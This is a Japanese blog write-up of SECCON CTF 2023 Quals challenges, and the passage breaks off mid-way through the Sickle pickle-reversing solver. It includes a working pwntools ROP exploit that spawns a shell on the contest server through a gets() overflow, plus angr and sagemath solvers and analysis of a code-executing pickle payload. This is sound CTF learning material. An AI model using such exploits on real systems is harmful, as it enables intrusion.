プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

SECCON CTF 2023 Quals write-up

SECCON CTF 2023 Qualsへ参加しました。そのwrite-up記事です。

本記事で解説する問題4問のうち3問はptr-yudai氏作問の問題で、氏が作問に使用したファイル等はptr-yudai / writeups-2023 / SECCON_CTF_Quals — Bitbucketで公開されています。

2023/09/20(水) 02:50頃に、ptr-yudai氏作問のリポジトリのリンクと、xuyao問題でのes関数のシンボルがIDAでは認識しなかった話を追加しました。

コンテスト概要

2023/09/16(土) 14:00 +09:00 - 2023/09/17(日) 14:00 +09:00 の24時間開催でした。他ルールはAnnouncement of SECCON CTF 2023 QUALS - SECCON2023ページから引用します:

(前略)
Language

English

How to qualify

For international division: Top 10 teams
For domestic division: Top 10 teams that all team members are residents of Japan.
Prizes (for Finals)

Total 1M JPY (International 700k JPY, Domestic 300k JPY)
(中略)
Scoring Rules
1.Scores will be aggregated to per teams.
2.A score of a challenge are determined dynamically - challenges solved by many teams will have fewer points.
3.The Flag format is "SECCON{[\x20-\x7e]+}".We will let you know in the challenge description if the flag has a different format.
Registration
(後略)

結果

warmup含めて、pwnable1問とrev3問を解けました。

環境

主にWindowsのWSL2(Ubuntu 22.04)を使って取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19045.3448]

c:\>wsl -l -v
  NAME                   STATE           VERSION
* Ubuntu-22.04           Running         2
  kali-linux             Stopped         2
  docker-desktop-data    Running         2
  docker-desktop         Running         2

c:\>

他ソフト

  • IDA Version 8.3.230608 Windows x64 (64-bit address size) (なお、Free版IDA version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます。version 7頃から引き続き、x64バイナリも同様に逆コンパイルができます。)

WSL2(Ubuntu 22.04)

$ cat /proc/version
Linux version 5.15.90.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Fri Jan 27 02:56:13 UTC 2023
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
$ python3 --version
Python 3.10.12
$ python3 -m pip show pip | grep Version
Version: 22.0.2
$ python3 -m pip show IPython | grep Version
Version: 7.31.1
$ python3 -m pip show pwntools | grep Version
Version: 4.11.0
$ python3 -m pip show angr | grep Version
Version: 9.2.2
$ python3 -m pip show z3-solver | grep Version
Version: 4.8.16.0
$ sage --version
SageMath version 9.5, Release Date: 2022-01-30
$ gdb --version
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
$ cat ~/peda/README | grep -e 'Version: ' -e 'Release: '
Version: 1.0
Release: special public release, Black Hat USA 2012
$

解けた問題

[pwnable, warmup] rop-2.35 (121 team solved, 93 points)

The number of ROP gadgets is declining worldwide.

nc rop-2-35.seccon.games 9999

配布ファイルとして、問題本体のchallと、元ソースのmain.cなどがありました:

$ file *
Dockerfile:         ASCII text
chall:              ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=71bdaa4e6af292c2f768dad63ba43949ee801dcb, for GNU/Linux 3.2.0, not stripped
docker-compose.yml: ASCII text
main.c:             C source, ASCII text
$ pwn checksec chall
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/mnt/d/Documents/work/ctf/SECCON_2023/rop-2.35/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$

main.c内容は、極めて簡潔な内容でした:

#include <stdio.h>
#include <stdlib.h>

void main() {
  char buf[0x10];
  system("echo Enter something:");
  gets(buf);
}

gets関数を使っているのでBufferOverflowの脆弱性があり、かつカナリアが無いため戻りアドレスを改ざんできます。またsystem関数を使っているため、それ経由でシェルを起動できそうです。No PIEであるためアドレスリークは不要です。

ひとまずIDAでchallを開いて逆アセンブルしました(今回の問題バイナリはとても単純なので逆コンパイルは不要でした):

.text:0000000000401156                                      ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:0000000000401156                                      public main
.text:0000000000401156                                      main proc near
.text:0000000000401156
.text:0000000000401156                                      strSize16= byte ptr -10h
.text:0000000000401156
.text:0000000000401156                                      ; __unwind {
.text:0000000000401156 000 F3 0F 1E FA                      endbr64
.text:000000000040115A 000 55                               push    rbp
.text:000000000040115B 008 48 89 E5                         mov     rbp, rsp
.text:000000000040115E 008 48 83 EC 10                      sub     rsp, 10h
.text:0000000000401162 018 48 8D 05 9B 0E 00 00             lea     rax, command    ; "echo Enter something:"
.text:0000000000401169 018 48 89 C7                         mov     rdi, rax        ; command
.text:000000000040116C 018 E8 DF FE FF FF                   call    _system
.text:0000000000401171 018 48 8D 45 F0                      lea     rax, [rbp+strSize16]
.text:0000000000401175 018 48 89 C7                         mov     rdi, rax
.text:0000000000401178 018 B8 00 00 00 00                   mov     eax, 0
.text:000000000040117D 018 E8 DE FE FF FF                   call    _gets
.text:0000000000401182 018 90                               nop
.text:0000000000401183 018 C9                               leave
.text:0000000000401184 000 C3                               retn
.text:0000000000401184                                      ; } // starts at 401156
.text:0000000000401184                                      main endp

gets関数は引数のバッファアドレスを返すためmain関数から抜ける時点ではraxに入力内容のアドレスが保持されています。かつsystem関数呼び出し直前にmov rdi, raxがあるためmain関数の戻りアドレスをそこへ改ざんすれば、getsへ入力した引数そのままにsystem関数を実行できるため、その方法でshを起動できそうに見えます。

そういうわけで一見すると単純に見えたのですが、実際にソルバーを書いて試してみるとsh: 1: V\x11@: not foundエラーとなりshを起動できませんでした。デバッガーで動作を追っていると、sh起動用のsystem関数呼び出し中に、入力文字列バッファが破壊されていることに気付きました。そうです、C言語において寿命が尽きたローカル変数を使うことは未定義動作です!

原因は分かったので、system関数呼び出し中に入力文字列バッファを破壊されない程度にretを連発することでrspレジスタを移動させる方針を取りました。最終的なソルバーです:

#!/usr/bin/env python3

import pwn
import sys
BIN_NAME = "./chall"
pwn.context.binary = BIN_NAME
pwn.context.terminal = ['wt.exe', "--window", "gdb_debug", "wsl"]

def solve(io):
    addr_mov_rdi_rax_call_system = 0x401169
    addr_ret = 0x401184
    addr_data = 0x404028

    sh = b"/bin/sh\x00"
    padding = b"A" * ((16+8) - len(sh)) # including saved rbp

    payload = pwn.flat([
            sh,
            padding,
            ])
    payload += pwn.pack(addr_ret) * 2 * 48
    payload += pwn.pack(addr_mov_rdi_rax_call_system)
    assert b"\n" not in payload

    io.sendlineafter(b"Enter something:", payload)
    io.interactive()

# with pwn.process(BIN_NAME) as io: solve(io)
with pwn.remote("rop-2-35.seccon.games", 9999) as io: solve(io)

# COMMAND = """
# set follow-fork-mode parent
# b gets
# continue
# fin
# """
# with pwn.gdb.debug(BIN_NAME, COMMAND) as io: solve(io)

実行しました:

$ ./solve.py
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/mnt/d/Documents/work/ctf/SECCON_2023/rop-2.35/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to rop-2-35.seccon.games on port 9999: Done
[*] Switching to interactive mode

$ ls
bin
boot
dev
etc
flag-b6c1520bf7debd2531dec4a0a58e878c.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag*
SECCON{i_miss_you_libc_csu_init_:cry:}
$
[*] Closed connection to rop-2-35.seccon.games port 9999

フラグを入手できました: SECCON{i_miss_you_libc_csu_init_:cry:}

[reversing, warmup] jumpout (154 team solved, 84 points)

Sequential execution

配布ファイルとして、問題本体のjumpoutがありました:

$ file jumpout
jumpout: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=707d320f5878e3aa46c32541861d1ac04efd9f29, for GNU/Linux 3.2.0, stripped
$

IDAで開いて逆コンパイルしてみました:

void __fastcall main(int a1, char **a2, char **a3)
{
  JUMPOUT(0x1170LL);
}

なるほど問題文通りのJUMPOUTです!しかし逆アセンブル結果は以下のようになっており、なにか処理をやっていそうなことが分かります:

.text:00000000000010E0                                      ; void __fastcall main(int, char **, char **)
.text:00000000000010E0                                      main            proc near               ; DATA XREF: start+18↓o
.text:00000000000010E0
.text:00000000000010E0                                      var_D8          = qword ptr -0D8h
.text:00000000000010E0                                      var_D0          = qword ptr -0D0h
.text:00000000000010E0                                      var_C8          = qword ptr -0C8h
.text:00000000000010E0                                      var_C0          = qword ptr -0C0h
.text:00000000000010E0                                      var_B8          = qword ptr -0B8h
.text:00000000000010E0                                      var_B0          = qword ptr -0B0h
.text:00000000000010E0                                      var_40          = qword ptr -40h
.text:00000000000010E0
.text:00000000000010E0                                      ; __unwind {
.text:00000000000010E0 000 F3 0F 1E FA                                      endbr64
.text:00000000000010E4 000 41 57                                            push    r15
.text:00000000000010E6 008 48 8D 15 23 01 00 00                             lea     rdx, sub_1210
.text:00000000000010ED 008 48 8D 0D FC 00 00 00                             lea     rcx, sub_11F0
.text:00000000000010F4 008 41 56                                            push    r14
.text:00000000000010F6 010 41 BE 02 00 00 00                                mov     r14d, 2
.text:00000000000010FC 010 4C 8D 3D 16 0F 00 00                             lea     r15, aWrong     ; "Wrong..."
.text:0000000000001103 010 41 55                                            push    r13
.text:0000000000001105 018 4C 8D 2D FF 0E 00 00                             lea     r13, a99s       ; "%99s"
.text:000000000000110C 018 41 54                                            push    r12
.text:000000000000110E 020 4C 8D 25 EF 0E 00 00                             lea     r12, aFlag      ; "FLAG: "
.text:0000000000001115 020 55                                               push    rbp
.text:0000000000001116 028 53                                               push    rbx
.text:0000000000001117 030 41 8D 5E FF                                      lea     ebx, [r14-1]
.text:000000000000111B 030 48 81 EC A8 00 00 00                             sub     rsp, 0A8h
.text:0000000000001122 0D8 64 48 8B 04 25 28 00 00 00                       mov     rax, fs:28h
.text:000000000000112B 0D8 48 89 84 24 98 00 00 00                          mov     [rsp+0D8h+var_40], rax
.text:0000000000001133 0D8 48 8D 05 36 00 00 00                             lea     rax, sub_1170
.text:000000000000113A 0D8 48 89 54 24 08                                   mov     [rsp+0D8h+var_D0], rdx
.text:000000000000113F 0D8 48 8D 15 8A 00 00 00                             lea     rdx, sub_11D0
.text:0000000000001146 0D8 48 89 4C 24 10                                   mov     [rsp+0D8h+var_C8], rcx
.text:000000000000114B 0D8 48 8D 0D E6 00 00 00                             lea     rcx, sub_1238
.text:0000000000001152 0D8 48 89 54 24 18                                   mov     [rsp+0D8h+var_C0], rdx
.text:0000000000001157 0D8 48 8D 15 42 00 00 00                             lea     rdx, sub_11A0
.text:000000000000115E 0D8 48 89 4C 24 20                                   mov     [rsp+0D8h+var_B8], rcx
.text:0000000000001163 0D8 48 89 54 24 28                                   mov     [rsp+0D8h+var_B0], rdx
.text:0000000000001168 0D8 48 89 04 24                                      mov     [rsp+0D8h+var_D8], rax
.text:000000000000116C 0D8 FF E0                                            jmp     rax
.text:000000000000116C                                      main            endp

他の関数も同じ調子で、どうやらいくつかレジスタ操作をした後に、jmp rax等を使って他関数へジャンプする内容のようです。中々処理を追うのは骨が折れそうです。

「試しにangrで実行してみよう、だめだったらちゃんと処理を読もう」と思いました。以下のコードを書きました:

#!/usr/bin/env python3

import angr
import claripy
p = angr.Project('./jumpout', load_options={"auto_load_libs": False}) # 実行ファイル名
argv = [p.filename]
state = p.factory.entry_state(args = argv)
simgr = p.factory.simulation_manager(state)

simgr.explore(find=lambda s: b"Correct" in s.posix.dumps(1))

if len(simgr.found) > 0:
    state = simgr.found[0]
    print(state.posix.dumps(0))
else: print("Not found...")

実行しました:

$ time ./solve_by_angr.py
WARNING | 2023-09-17 15:58:13,922 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2023-09-17 15:58:13,938 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory with an unspecified value. This could indicate unwanted behavior.
WARNING | 2023-09-17 15:58:13,938 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2023-09-17 15:58:13,938 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2023-09-17 15:58:13,938 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2023-09-17 15:58:13,938 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2023-09-17 15:58:13,938 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff8c with 4 unconstrained bytes referenced from 0x401279 (PLT.__isoc99_scanf+0x1a9 in jumpout (0x1279))
WARNING | 2023-09-17 15:58:14,239 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff24 with 4 unconstrained bytes referenced from 0x500010 (strlen+0x0 in extern-address space (0x10))
WARNING | 2023-09-17 15:58:14,239 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff30 with 8 unconstrained bytes referenced from 0x500010 (strlen+0x0 in extern-address space (0x10))
b'SECCON{jump_table_everywhere}\x00\x1a\x01\x89\x01\x08\x80\x80\x08i\x1a\x01)\x1aD\x04\x00\x02\x02I\xc4)\x02\xa1\x00N\x10\x02\x00\x16\x02\x00\x00\x00\x19\x00\x01*JJ\x89J\x0e)\x89J\x19\x89\x19))\x00#\x08\x0c\x82\x89\x89\x02\x89\x00\x04\xa6I\x19\x19IK:\x19'
./solve_by_angr.py  4.63s user 0.57s system 119% cpu 4.368 total
$ ./jumpout
FLAG: SECCON{jump_table_everywhere}
Correct!
$ ./jumpout
FLAG: SECCON{jump_table_everywhere}
Correct!
$

フラグを入手できました: SECCON{jump_table_everywhere}

[reversing] Sickle (89 team solved, 106 points)

問題概要

Pickle infected with COVID-19

配布ファイルとして、問題本体のproblem.pyがありました:

import pickle, io


payload = b'\x8c\x08builtins\x8c\x07getattr\x93\x942\x8c\x08builtins\x8c\x05input\x93\x8c\x06FLAG> \x85R\x8c\x06encode\x86R)R\x940g0\n\x8c\x08builtins\x8c\x04dict\x93\x8c\x03get\x86R\x8c\x08builtins\x8c\x07globals\x93)R\x8c\x01f\x86R\x8c\x04seek\x86R\x94g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__add__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__mul__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x06__eq__\x86R\x940g3\ng5\n\x8c\x08builtins\x8c\x03len\x93g1\n\x85RM@\x00\x86RM\x05\x01\x86R\x85R.0g0\ng1\n\x8c\x0b__getitem__\x86R\x940M\x00\x00\x940g2\ng3\ng0\ng6\ng7\n\x85R\x8c\x06__le__\x86RM\x7f\x00\x85RMJ\x01\x86R\x85R.0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM@\x00\x86RMU\x00\x86RM"\x01\x86R\x85R0g0\ng0\n]\x94\x8c\x06append\x86R\x940g8\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\nfrom_bytes\x86R\x940M\x00\x00p7\n0g9\ng11\ng6\n\x8c\x08builtins\x8c\x05slice\x93g4\ng7\nM\x08\x00\x86Rg4\ng3\ng7\nM\x01\x00\x86RM\x08\x00\x86R\x86R\x85R\x8c\x06little\x86R\x85R0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RMw\x00\x86RM\xc9\x01\x86R\x85R0g0\n]\x94\x8c\x06append\x86R\x940g0\ng12\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__xor__\x86R\x940I1244422970072434993\n\x940M\x00\x00p7\n0g13\n\x8c\x08builtins\x8c\x03pow\x93g15\ng10\ng7\n\x85Rg16\n\x86RI65537\nI18446744073709551557\n\x87R\x85R0g14\ng7\n\x85Rp16\n0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RM\x83\x00\x86RM\xa7\x02\x86R\x85R0g0\ng12\n\x8c\x06__eq__\x86R(I8215359690687096682\nI1862662588367509514\nI8350772864914849965\nI11616510986494699232\nI3711648467207374797\nI9722127090168848805\nI16780197523811627561\nI18138828537077112905\nl\x85R.'
f = io.BytesIO(payload)
res = pickle.load(f)

if isinstance(res, bool) and res:
    print("Congratulations!!")
else:
    print("Nope")

pickle.load結果がTrueになれば成功のようです。珍しいPythonのリバーシング、かつその中でもpickleのリバーシングの問題です!試しに実行した結果です:

$ python3 ./problem.py
FLAG> test
Nope
$

pickleの内部表現を調べていると、PythonのPickleにおける脆弱性 - Qiitaを見つけました。デシリアライズ対象がreduce関数をオーバーライドしていると、任意コードを実行できるとのことです。今回の問題もその方法を使っているのでしょう。

そうなると、デシリアライズ対象の読解が必要です。上記記事中にpickletools.disを使うと逆アセンブルできるとの記述があります。ただ試してみると読み解くことが非常に辛そうな形式でした。別の方法を探すとtrailofbits/fickling: A Python pickling decompiler and static analyzerを見つけたので試しました。本記事執筆時点ではfickling-0.0.6が最新バージョンのようで、それを使いました。サンプルページにもある通り、以下のような出力が得られます:

Module(
  body=[
    Assign(
      targets=[
        Name(id='_var0', ctx=Store())],
      value=Call(
        func=Name(id='input', ctx=Load()),
        args=[
          Constant(value='FLAG> ')],
        keywords=[])),
    Assign(
      targets=[
        Name(id='_var1', ctx=Store())],
      value=Call(
        func=Name(id='getattr', ctx=Load()),
        args=[
          Name(id='_var0', ctx=Load()),
          Constant(value='encode')],
        keywords=[])),
    (省略)
  ])

まだ構文木そのものらしい見た目ですが、pickletools.dis結果よりははるかに読み進めやすかったです。

payload内容の理解

ficklingの出力結果を読み進めていくと、以下の内容がありました:

    Assign(
      targets=[
        Name(id='_var4', ctx=Store())],
      value=Call(
        func=Name(id='globals', ctx=Load()),
        args=[],
        keywords=[])),
    Assign(
      targets=[
        Name(id='_var5', ctx=Store())],
      value=Call(
        func=Name(id='_var3', ctx=Load()),
        args=[
          Name(id='_var4', ctx=Load()),
          Constant(value='f')],
        keywords=[])),
    Assign(
      targets=[
        Name(id='_var6', ctx=Store())],
      value=Call(
        func=Name(id='getattr', ctx=Load()),
        args=[
          Name(id='_var5', ctx=Load()),
          Constant(value='seek')],
        keywords=[])),
(中略)
    Assign(
      targets=[
        Name(id='_var22', ctx=Store())],
      value=Call(
        func=Name(id='_var6', ctx=Load()),
        args=[
          Name(id='_var21', ctx=Load())],
        keywords=[])),

グローバル変数fを取得して、f.seekを保持し、後で呼び出しています。つまり、pickle.load(f)のデシリアライズ中に、ストリームfの位置を変更しています!これが本問題の最も特徴的な点で、かつ読解を困難にする点だと思います。

pickle.loadで読み込む内容の命令はcpython/Lib/pickletools.pyに記載があるようです。その中のSTOP命令(バイトコードは.文字)が、今回のpayload途中に2回現れています。どうやら、以下の処理を行っているようでした:

  • 1回目の判定でf.seek位置を変化させ、Wrong判定なら1つ目のSTOP命令で終了
  • 2回目の判定でf.seek位置を変化させ、Wrong判定なら2つ目のSTOP命令で終了
  • 残りは最後まで何かをして、最後のSTOP命令で終了

payload内容をそのままficklingで解析するだけでは1つ目のSTOP命令で打ち止めになってしまいます。NOP命令はなさそうだったので、STOP命令周辺を適当に除去してとりあえず最後まで解析させるようにしました:

#!/usr/bin/env python3

import pickle, io
import pickletools
import sys
import ast
from fickling.pickle import Pickled

payload = bytearray(b'\x8c\x08builtins\x8c\x07getattr\x93\x942\x8c\x08builtins\x8c\x05input\x93\x8c\x06FLAG> \x85R\x8c\x06encode\x86R)R\x940g0\n\x8c\x08builtins\x8c\x04dict\x93\x8c\x03get\x86R\x8c\x08builtins\x8c\x07globals\x93)R\x8c\x01f\x86R\x8c\x04seek\x86R\x94g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__add__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__mul__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x06__eq__\x86R\x940g3\ng5\n\x8c\x08builtins\x8c\x03len\x93g1\n\x85RM@\x00\x86RM\x05\x01\x86R\x85R.0g0\ng1\n\x8c\x0b__getitem__\x86R\x940M\x00\x00\x940g2\ng3\ng0\ng6\ng7\n\x85R\x8c\x06__le__\x86RM\x7f\x00\x85RMJ\x01\x86R\x85R.0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM@\x00\x86RMU\x00\x86RM"\x01\x86R\x85R0g0\ng0\n]\x94\x8c\x06append\x86R\x940g8\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\nfrom_bytes\x86R\x940M\x00\x00p7\n0g9\ng11\ng6\n\x8c\x08builtins\x8c\x05slice\x93g4\ng7\nM\x08\x00\x86Rg4\ng3\ng7\nM\x01\x00\x86RM\x08\x00\x86R\x86R\x85R\x8c\x06little\x86R\x85R0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RMw\x00\x86RM\xc9\x01\x86R\x85R0g0\n]\x94\x8c\x06append\x86R\x940g0\ng12\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__xor__\x86R\x940I1244422970072434993\n\x940M\x00\x00p7\n0g13\n\x8c\x08builtins\x8c\x03pow\x93g15\ng10\ng7\n\x85Rg16\n\x86RI65537\nI18446744073709551557\n\x87R\x85R0g14\ng7\n\x85Rp16\n0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RM\x83\x00\x86RM\xa7\x02\x86R\x85R0g0\ng12\n\x8c\x06__eq__\x86R(I8215359690687096682\nI1862662588367509514\nI8350772864914849965\nI11616510986494699232\nI3711648467207374797\nI9722127090168848805\nI16780197523811627561\nI18138828537077112905\nl\x85R.')

del payload[259:262] # 1st stop
del payload[325:328] # 2nd stop
f = io.BytesIO(payload)
with open("pickled_result.txt", "w") as fout:
    fout.write(ast.dump(Pickled.load(f).ast, indent=2))

出力結果の、各変数の読解メモです:

- _var0 :: input("FLAG> ")
- _var1 :: input("FLAG> ").encode
- _var2 :: input("FLAG> ").encode()
- _var3 :: dict#get
- _var4 :: globals()
- _var5 :: globals().get["f"]
- _var6 :: f.seek # SEEK!!!!!!!!
- _var7 :: int#__add__
- _var8 :: int#__mul__
- _var9 :: int#__eq__
- _var10 :: len(input("FLAG> ").encode()) # 以降 inputLength と記述
- _var11 :: inputLength == 64 # 以降 isCorrenctLength と記述
- _var12 :: f.seek(isCorrectLength + 261) # (長さ64のときは続きへ、そうでないときは261のSTOPで停止)
# 以降、index 261の1個めのSTOP後、もしかしたら何かがズレているかも
- _var13 :: input("FLAG> ").encode().__getitem__
- _var14 :: input("FLAG> ").encode()[0]
- _var15 :: input("FLAG> ").encode()[0].__le__
- _var16 :: input("FLAG> ").encode()[0].__le__(127) # ASCII範囲では常にTrueでは?
- _var17 :: f.seek(input("FLAG> ").encode()[0].__le__(127).__mull__(330)) # 常に330へ飛びそう
# 2つ目のstop後
- _var18 :: 0+1 # = 常に1
- _var19 :: _var18 == 64 # 常に0
- _var20 :: (_var18 == 64) * 85 # 常に0では?
- _var21 :: ((_var18 == 64) * 85) + 290 # 常に290では?
- _var22 :: f.seek(((_var18 == 64) * 85) + 290) # 290か (+ 290 85)375のどちらかへ飛ぶ、多分前者
# seek後なので何かが変かもしれない
- _var23 :: [].append
- _var24 :: [].__getitem__
- _var25 :: int.from_bytes
- _var26 :: 0*8 # 0固定
- _var27 :: 0+1 # 1固定
- _var28 :: 1*8 # 8固定
- _var29 :: slice(0, 8)
- _var30 :: input("FLAG> ").encode().__getitem__(slice(0,8)) # 入力の先頭8文字
- _var31 :: int.from_bytes(入力の先頭8文字, "little")
- _var32 :: [].append(int.from_bytes(入力の先頭8文字, "little")) # listオブジェクトどこだろう?、_var23出典
- _var33 :: 0+1 # 1固定
- _var34 :: (0+1)==8 # 0固定
- _var35 :: ((0+1)==8)*119 # 0固定
- _var36 :: (((0+1)==8)*119)+457 # 457固定?
- _var37 :: f.seek((((0+1)==8)*119)+457)
# seek後なので何かが変かもしれない
- _var38 :: [].append
- _var39 :: [].__get_item__
- _var40 :: int.__xor__
- _var41 :: [].__get_item(0) # 出典は_var24
- _var42 :: ([].__get_item(0) ^ 1244422970072434993) # 0x1145141919810931 # さよか
- _var43 :: pow([].__get_item(0) ^ 1244422970072434993, 65537, 18446744073709551557) # nは素数
- _var44 :: [].append(_var43) # pow結果
- _var45 :: [].__get_item__(0)
- _var46 :: 0+1 # 1固定
- _var47 :: (0+1) <= 8 # 1固定
- _var48 :: ((0+1) <= 8) * 131 # 131固定?
- _var49 :: (((0+1) <= 8) * 131) + 679 # (+ 131 679)810固定?
- _var50 :: f.seek((((0+1) <= 8) * 131) + 679)
# seek後なので何かが変かもしれない
- _var51 :: [].__eq__
- _var52 :: [].__eq__(List(
            elts=[
              Constant(value=8215359690687096682),
              Constant(value=1862662588367509514),
              Constant(value=8350772864914849965),
              Constant(value=11616510986494699232),
              Constant(value=3711648467207374797),
              Constant(value=9722127090168848805),
              Constant(value=16780197523811627561),
              Constant(value=18138828537077112905)],
            ctx=Load()))
- result :: __var52

完全固定値に見える計算があったり、listのインスタンスが何かよく分からなかったりで、不完全な内容ではありそうです。ただ、pow関数を使っていることや、最後に固定値リストとの比較をしていることは分かりました。

ソルバーと実行結果

試行錯誤を繰り返した思考過程です:

  • _var11の処理から察するに、フラグ入力は64文字である必要がありそうです。
  • pow([].__get_item(0) ^ 1244422970072434993, 65537, 18446744073709551557)結果をlist.appendしていそうなので、pow結果が最後の比較対象になれば良さそうです。
  • pow関数を自作関数へ置き換えれば、引数の確認や結果の加工ができます! なおint.__xor__等のクラスメンバーは自作関数への置き換え方法が分かりませんでした……。
  • 実際にpow関数の戻り値を最後に比較するList内容に改変すると、正解扱いになりました。
  • pow関数のmod引数が素数なので、sagemathで65537乗根を求められそうです。
  • フラグ入力の1文字目を変更すると、pow関数8回分の第1引数64バイト全てが変化しました。一方でフラグ入力の64文字目を変更すると、pow関数8回分の第1引数64バイトの最後1バイトのみが変化しました。

ひとまずsagemathで各要素の65537乗根を求めました(sagemathを中々使う機会がないので、このコードを書くだけでも結構時間がかかりました):

#!/usr/bin/env sage
# -*- coding: utf-8 -*-

pow_e = 65537
pow_n = 18446744073709551557
expected = [ 8215359690687096682,
             1862662588367509514,
             8350772864914849965,
             11616510986494699232,
             3711648467207374797,
             9722127090168848805,
             16780197523811627561,
             18138828537077112905]
k = GF(pow_n)
for x in expected:
    print(k(x).nth_root(pow_e))
$ time sage calculate_65537-th_root.sage
5926273486602521698
2118872653869140235
7690147796159135076
1350097776365920200
14146162966031303359
6544350313541966015
17479188458984114886
10799636147710529868
sage calculate_65537-th_root.sage  0.84s user 0.16s system 80% cpu 1.243 total
$

後はどうにかして1文字ずつフラグを特定できないか試していると、先頭から1文字ずつ特定する方法でうまくいきました(最初は後ろから求めようとしてハマっていました):

#!/usr/bin/env python3

import pickle, io
import sys

payload = b'\x8c\x08builtins\x8c\x07getattr\x93\x942\x8c\x08builtins\x8c\x05input\x93\x8c\x06FLAG> \x85R\x8c\x06encode\x86R)R\x940g0\n\x8c\x08builtins\x8c\x04dict\x93\x8c\x03get\x86R\x8c\x08builtins\x8c\x07globals\x93)R\x8c\x01f\x86R\x8c\x04seek\x86R\x94g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__add__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x07__mul__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\x06__eq__\x86R\x940g3\ng5\n\x8c\x08builtins\x8c\x03len\x93g1\n\x85RM@\x00\x86RM\x05\x01\x86R\x85R.0g0\ng1\n\x8c\x0b__getitem__\x86R\x940M\x00\x00\x940g2\ng3\ng0\ng6\ng7\n\x85R\x8c\x06__le__\x86RM\x7f\x00\x85RMJ\x01\x86R\x85R.0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM@\x00\x86RMU\x00\x86RM"\x01\x86R\x85R0g0\ng0\n]\x94\x8c\x06append\x86R\x940g8\n\x8c\x0b__getitem__\x86R\x940g0\n\x8c\x08builtins\x8c\x03int\x93\x8c\nfrom_bytes\x86R\x940M\x00\x00p7\n0g9\ng11\ng6\n\x8c\x08builtins\x8c\x05slice\x93g4\ng7\nM\x08\x00\x86Rg4\ng3\ng7\nM\x01\x00\x86RM\x08\x00\x86R\x86R\x85R\x8c\x06little\x86R\x85R0g2\ng3\ng4\ng5\ng3\ng7\nM\x01\x00\x86Rp7\nM\x08\x00\x86RMw\x00\x86RM\xc9\x01\x86R\x85R0g0\n]\x94\x8c\x06append\x86R\